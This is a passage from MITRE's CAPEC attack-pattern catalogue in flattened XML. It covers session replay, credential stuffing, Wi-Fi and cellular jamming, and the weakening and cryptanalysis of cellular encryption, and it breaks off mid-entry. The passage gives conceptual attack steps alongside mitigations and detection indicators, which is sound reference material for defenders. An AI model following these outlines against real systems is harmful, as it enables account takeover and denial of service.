+ + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification34821 + Modification_34821 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification34827 + Modification_34827 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification34833 + Modification_34833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-60 + Reusing Session IDs (aka Session Replay) + + + + + + + + + 60 + + + + + Reusing Session IDs (aka Session Replay) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34847 + Related_Attack_Pattern_34847 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indAttackStepAttackStep34850 + Attack_Step_34850 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker interacts with the target host and finds that session IDs are used to authenticate users.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34855 + Attack_Step_34855 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker steals a session ID from a valid user.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34860 + Attack_Step_34860 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker tries to use the stolen session ID to gain access to the system with the privileges of the session ID's original owner.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host uses session IDs to keep track of the users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Session IDs are used to control access to resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The session IDs used by the target host are not well protected from session theft.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34872 + Skill_34872 + + + + + + + + + + + + + + If an attacker can steal a valid session ID, they can then try to be authenticated with that stolen session ID. + + + + + + + + + + + + #indSkillSkill34873 + Skill_34873 + + + + + + + + + + + + + + More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing their valid session ID. + + + + + + + + + + + + #indConsequenceConsequence34876 + Consequence_34876 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Always invalidate a session ID after the user logout.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Setup a session time out for the session IDs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate adversary in the middle attacks (CAPEC-94).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt the session data associated with the session ID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use multifactor authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258</xhtml:div> + + + + + 294 + + + + + 290 + + + + + 346 + + + + + 384 + + + + + 488 + + + + + 539 + + + + + 200 + + + + + 285 + + + + + 664 + + + + + 732 + + + + + + + + + + + + #indTaxonomyMappingAccessTokenManipulationTokenImpersonationOrTheft + Access Token Manipulation:Token Impersonation/Theft + + + + + + + + + + + + + + 1134.001 + + + + + Access Token Manipulation:Token Impersonation/Theft + + + + + + + + + + + + #indTaxonomyMappingUseAlternateAuthenticationMaterialWebSessionCookie + Use Alternate Authentication Material:Web Session Cookie + + + + + + + + + + + + + + 1550.004 + + + + + Use Alternate Authentication Material:Web Session Cookie + + + + + + + + + + + + #indReferenceReference34918 + Reference_34918 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory34920 + Content_History_34920 + + + + + + + + + + + + + + + + #indSubmissionSubmission34921 + Submission_34921 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification34926 + Modification_34926 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification34932 + Modification_34932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification34938 + Modification_34938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification34944 + Modification_34944 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-600 + Credential Stuffing + + + + + + + + + 600 + + + + + Credential Stuffing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacks of this kind often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The primary goal of Credential Stuffing is to achieve lateral movement and gain authenticated access to additional systems, applications, and/or services. A successfully executed Credential Stuffing attack could result in the adversary impersonating the victim or executing any action that the victim is authorized to perform.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Although not technically a brute force attack, Credential Stuffing attacks can function as such if an adversary possess multiple known passwords for the same user account. This may occur in the event where an adversary obtains user credentials from multiple sources or if the adversary obtains a user's password history for an account.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Credential Stuffing attacks are similar to Password Spraying attacks (CAPEC-565) regarding their targets and their overall goals. However, Password Spraying attacks do not have any insight into known username/password combinations and instead leverage common or expected passwords. This also means that Password Spraying attacks must avoid inducing account lockouts, which is generally not a worry of Credential Stuffing attacks. Password Spraying attacks may additionally lead to Credential Stuffing attacks, once a successful username/password combination is discovered.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34965 + Related_Attack_Pattern_34965 + + + + + + + + + + + + + + 560 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34968 + Related_Attack_Pattern_34968 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34969 + Related_Attack_Pattern_34969 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep34972 + Attack_Step_34972 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known credentials] The adversary must obtain known credentials in order to access the target system, application, or service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal credentials as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to a database and exfiltrates password hashes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34982 + Attack_Step_34982 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target's password policy] Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34990 + Attack_Step_34990 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt authentication] Try each username/password combination until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each username/password combination through the target's interface.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34996 + Attack_Step_34996 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35001 + Attack_Step_35001 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35006 + Attack_Step_35006 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within the system or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not have a sound password policy that is being enforced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not implement an effective password throttling mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill35019 + Skill_35019 + + + + + + + + + + + + + + A Credential Stuffing attack is very straightforward. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A machine with sufficient resources for the job (e.g. CPU, RAM, HD).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A known list of username/password combinations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A custom script that leverages the credential list to launch the attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many invalid login attempts are coming from the same machine (same IP address) or for multiple user accounts within short succession.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The login attempts use passwords that have been used previously by the user account in question.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Login attempts are originating from IP addresses or locations that are inconsistent with the user's normal IP addresses or locations.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35032 + Consequence_35032 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence35038 + Consequence_35038 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence35043 + Consequence_35043 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the domain network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure users are not reusing username/password combinations for multiple systems, applications, or services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not reuse local administrator account credentials across systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deny remote use of local admin credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow accounts to be a local administrator on more than one system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-2.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal credential access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A user leverages the password "Password123" for a handful of application logins. An adversary obtains a victim's username/password combination from a breach of a social media application and executes a Credential Stuffing attack against multiple banking and credit card applications. Since the user leverages the same credentials for their bank account login, the adversary successfully authenticates to the user's bank account and transfer money to an offshore account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In October 2014 J.P. Morgan's Corporate Challenge website was breached, resulting in adversaries obtaining multiple username/password pairs. A Credential Stuffing attack was then executed against J.P. Morgan Chase, which resulted in over 76 million households having their accounts compromised.</xhtml:div> + + + + + 522 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + + + + + + + + #indTaxonomyMappingBruteForceCredentialStuffing + Brute Force:Credential Stuffing + + + + + + + + + + + + + + 1110.004 + + + + + Brute Force:Credential Stuffing + + + + + + + + + + + + #indTaxonomyMappingCredentialStuffing + Credential stuffing + + + + + + + + + + + + + + Credential stuffing + + + + + + + + + + + + #indReferenceReference35081 + Reference_35081 + + + + + + + + + REF-567 + + + + + + + + + + + + #indReferenceReference35082 + Reference_35082 + + + + + + + + + REF-568 + + + + + + + + + + + + #indReferenceReference35083 + Reference_35083 + + + + + + + + + REF-569 + + + + + + + + + + + + #indContentHistoryContentHistory35085 + Content_History_35085 + + + + + + + + + + + + + + + + #indSubmissionSubmission35086 + Submission_35086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification35091 + Modification_35091 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification35097 + Modification_35097 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification35103 + Modification_35103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Extended_Description + + + + + + + + + + + + #CAPEC-601 + Jamming + + + + + + + + + 601 + + + + + Jamming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses radio noise or signals in an attempt to disrupt communications. By intentionally overwhelming system resources with illegitimate traffic, service is denied to the legitimate traffic of authorized users.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35116 + Related_Attack_Pattern_35116 + + + + + + + + + + + + + + 607 + + + + + 513 + + + + + 514 + + + + + 515 + + + + + 403 + + + + + + + + + + + + #indConsequenceConsequence35124 + Consequence_35124 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The jamming of equipment denies the availability of functioning communications services.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35130 + Content_History_35130 + + + + + + + + + + + + + + + + #indSubmissionSubmission35131 + Submission_35131 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35136 + Modification_35136 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Description Summary, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification35142 + Modification_35142 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35148 + Modification_35148 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-602 + DEPRECATED: Degradation + + + + + + + + + 602 + + + + + DEPRECATED: Degradation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35158 + Content_History_35158 + + + + + + + + + + + + + + + + #indSubmissionSubmission35159 + Submission_35159 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35164 + Modification_35164 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName35170 + Previous_Entry_Name_35170 + + + + + + + + + 2017-05-01 + + + + + Degradation + + + + + + + + + + + + #CAPEC-603 + Blockage + + + + + + + + + 603 + + + + + Blockage + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary blocks the delivery of an important system resource causing the system to fail or stop working.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35178 + Related_Attack_Pattern_35178 + + + + + + + + + + + + + + 607 + + + + + 514 + + + + + 515 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern requires knowledge of where important system resources are logically located as well as how they operate.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35188 + Consequence_35188 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Blocking a resource from functional operation denies its availability to authorized users.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35194 + Content_History_35194 + + + + + + + + + + + + + + + + #indSubmissionSubmission35195 + Submission_35195 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35200 + Modification_35200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification35206 + Modification_35206 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-604 + Wi-Fi Jamming + + + + + + + + + 604 + + + + + Wi-Fi Jamming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker actively transmits on the Wi-Fi channel to prevent users from transmitting or receiving data from the targeted Wi-Fi network. There are several known techniques to perform this attack – for example: the attacker may flood the Wi-Fi access point (e.g. the retransmission device) with deauthentication frames. Another method is to transmit high levels of noise on the RF band used by the Wi-Fi network.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35219 + Related_Attack_Pattern_35219 + + + + + + + + + + + + + + 601 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lack of anti-jam features in 802.11</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lack of authentication on deauthentication/disassociation packets on 802.11-based networks</xhtml:div> + + + + + + + + + + + + #indSkillSkill35226 + Skill_35226 + + + + + + + + + + + + + + This attack can be performed by low capability attackers with freely available tools. Commercial tools are also available that can target select networks or all WiFi networks within a range of several miles. + + + + + + + + + + + + #indConsequenceConsequence35229 + Consequence_35229 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack will deny the availability of the Wi-fi network to authorized users.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35234 + Consequence_35234 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker's goal is to prevent users from accessing the wireless network. Denying connectivity to the wireless network prevents the user from being able to transmit or receive any data, which also prevents VOIP calls, however this attack poses no threat to data confidentiality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Countermeasures have been proposed for both disassociation flooding and RF jamming, however these countermeasures are not standardized and would need to be supported on both the retransmission device and the handset in order to be effective. Commercial products are not currently available that support jamming countermeasures for Wi-Fi.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35243 + Content_History_35243 + + + + + + + + + + + + + + + + #indSubmissionSubmission35244 + Submission_35244 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35249 + Modification_35249 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Related_Vulnerabilities, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification35255 + Modification_35255 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-605 + Cellular Jamming + + + + + + + + + 605 + + + + + Cellular Jamming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker actively transmits signals to overpower and disrupt the communication between a cellular user device and a cell tower. Several existing techniques are known in the open literature for this attack for 2G, 3G, and 4G LTE cellular technology. For example, some attacks target cell towers by overwhelming them with false status messages, while others introduce high levels of noise on signaling channels.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35267 + Related_Attack_Pattern_35267 + + + + + + + + + + + + + + 601 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lack of anti-jam features in cellular technology (2G, 3G, 4G, LTE)</xhtml:div> + + + + + + + + + + + + #indSkillSkill35273 + Skill_35273 + + + + + + + + + + + + + + This attack can be performed by low capability attackers with commercially available tools. + + + + + + + + + + + + #indConsequenceConsequence35276 + Consequence_35276 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker's goal is to prevent users from accessing the cellular network. Denying connectivity to the cellular network prevents the user from being able to transmit or receive any data, which also prevents VOIP calls, however this attack poses no threat to data confidentiality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Mitigating this attack requires countermeasures employed on both the retransmission device as well as on the cell tower. Therefore, any system that relies on existing commercial cell towards will likely be vulnerable to this attack. By using a private cellular LTE network (i.e., a custom cell tower), jamming countermeasures could be developed and employed.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35285 + Content_History_35285 + + + + + + + + + + + + + + + + #indSubmissionSubmission35286 + Submission_35286 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35291 + Modification_35291 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-606 + Weakening of Cellular Encryption + + + + + + + + + 606 + + + + + Weakening of Cellular Encryption + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker, with control of a Cellular Rogue Base Station or through cooperation with a Malicious Mobile Network Operator can force the mobile device (e.g., the retransmission device) to use no encryption (A5/0 mode) or to use easily breakable encryption (A5/1 or A5/2 mode).</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35304 + Related_Attack_Pattern_35304 + + + + + + + + + + + + + + 620 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cellular devices that allow negotiating security modes to facilitate backwards compatibility and roaming on legacy networks.</xhtml:div> + + + + + + + + + + + + #indSkillSkill35310 + Skill_35310 + + + + + + + + + + + + + + Adversaries can purchase and implement rogue BTS stations at a cost effective rate, and can push a mobile device to downgrade to a non-secure cellular protocol like 2G over GSM or CDMA. + + + + + + + + + + + + #indConsequenceConsequence35313 + Consequence_35313 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tracking, Network Reconnaissance</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of hardened baseband firmware on retransmission device to detect and prevent the use of weak cellular encryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor cellular RF interface to detect the usage of weaker-than-expected cellular encryption.</xhtml:div> + + + + + 757 + + + + + + + + + + + + #indContentHistoryContentHistory35326 + Content_History_35326 + + + + + + + + + + + + + + + + #indSubmissionSubmission35327 + Submission_35327 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35332 + Modification_35332 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-607 + Obstruction + + + + + + + + + 607 + + + + + Obstruction + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker obstructs the interactions between system components. By interrupting or disabling these interactions, an adversary can often force the system into a degraded state or cause the system to stop working as intended. This can cause the system components to be unavailable until the obstruction mitigated.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35343 + Consequence_35343 + + + + + + + + + + + + + + + + + + + + + + + + + + #indContentHistoryContentHistory35348 + Content_History_35348 + + + + + + + + + + + + + + + + #indSubmissionSubmission35349 + Submission_35349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35354 + Modification_35354 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description Summary + + + + + + + + + + + + #indModificationModification35360 + Modification_35360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-608 + Cryptanalysis of Cellular Encryption + + + + + + + + + 608 + + + + + Cryptanalysis of Cellular Encryption + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile 